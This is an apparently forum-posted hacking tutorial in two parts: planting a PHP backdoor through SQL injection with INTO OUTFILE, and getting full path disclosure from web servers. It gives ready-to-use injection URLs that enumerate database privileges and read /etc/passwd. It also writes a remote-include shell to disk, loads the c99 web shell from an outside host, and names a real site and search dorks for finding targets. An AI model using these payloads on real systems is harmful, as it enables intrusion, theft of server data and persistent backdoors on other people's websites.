SQL Injection Uploading shell using root file privileges 70% Noob

!! FOR EDUCATIONAL PURPOSES ONLY  !!

I Introduction
So today i'm gonna teach you how to upload shell using SQL Injection

II Getting User
So first, get the user using
user()
Or
(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES)

www.website.com/news.php?id=19' and false union select 1,user(),3,4,5,6,7,8,9--+

www.website.com/news.php?id=19' and false union select 1,(SELECT+GROUP_CONCAT(GRANTEE,0x202d3e20,IS_GRANTABLE,0x3c62723e)+FROM+INFORMATION_SCHEMA.USER_PRIVILEGES),3,4,5,6,7,8,9--+

if the user is root or the user privilleges is Y or Yes then you're good go.

III Getting the Full Path Disclosure
I've written a tutorial how to get the Full Path Disclosure here.

Note : that if you can't get the Full Path Disclosure, there's no way you can upload your shell if you don't know where to save your backdoor shell.

Tips: Getting Full Path Disclosure

for some tips if you really want to know the FPD, try reading the server's "/etc/passwd" using load_file().

www.website.com/news.php?id=19' and false union select 1,load_file("/etc/passwd"),3,4,5,6,7,8,9--+

or if you still can't try guessing the FPD. The commons are "/var/www/" ,"/var/www/sitename" and etc..

to make sure that they're correct try "/var/www/index.php" and visit www.website.com/index.php then check if the source code is similar or the same.

IV Uploading the shell
Now that we have the full path disclosure, we can now try uploading the shell. We'll gonna use this script for our backdoor initiator:

<?php include $_GET["inc"];?>

www.website.com/news.php?id=19' and false union select 1,'<?php include($_GET["inc"]);?>',3,4,5,6,7,8,9 into outfile '/var/www/shell.php'--+
So once we visit that url, we will now go here:

www.website.com/shell.php?inc=http://examplebackdoorwebsite.com/c99.txt

And wollah! You have successfully inserted a php backdoor in the website!

if its 404 not found, then maybe the directory is not writable. You gotta find some directories that is writable.
The common writable directories are:
/uploads/
/images/
/videos/
or something like that.

V Goodbye
Hope you learned something with my tutorial! I guess it's your job to enhance and explore. Good luck and have fun hacking!!

Getting Full Path Disclosure (FPD)

!! FOR EDUCATIONAL PURPOSES ONLY !!
I Introduction
Today i'm gonna teach you how to get the full path disclosure also known ass FPD

II Learning Basics
What is fpd?
FPD or Full Path Disclosure is an internal path structure of installation.
Example:
/home/www/htdocs/

Why attackers need fpd sometimes?
Attackers need it because they need the full path disclosure to deploy their backdoor shell.
This is very needed for uploading shell in sql injection, INTO OUTFILE
Example you visit the url www.website.com/index.php
in internal path, its /home/www/htdocs/index.php

III Getting Full Path Disclosure
1) Using Error.
in SQL Injection, you can already get the FPD if the error_reporting is enabled.
http://jornaldacidadearuja.com.br/guia/det.php?id=19'
If you see the error
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/jornaldacidade/public_html/site/include/mysql.inc.php on line 142
You already got the FPD, Ez.

2) Using empty array
example this is the page
www.website.com/page=about
Lets make the variable page an empty array
www.website.com/page[]=about

So after doing it, you'll see an error if the error_reporting is enabled.

Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84 Warning: pg_num_rows(): supplied argument … in /usr/home/example/html/pie/index.php on line 131

3) Google Dorks

You can use google dorks to find the FPD of the website,

example dork:

Warning: * [function.*]: site:www.website.com

Or you can use dork to use this dork

ip:xxx.xxx.xxx.xx * [function.*]:

You can make your own dork if you want

IV Goodbye

So that's all for now, hope you enjoy my post if you have some question or feedback please feel free to say it in comment!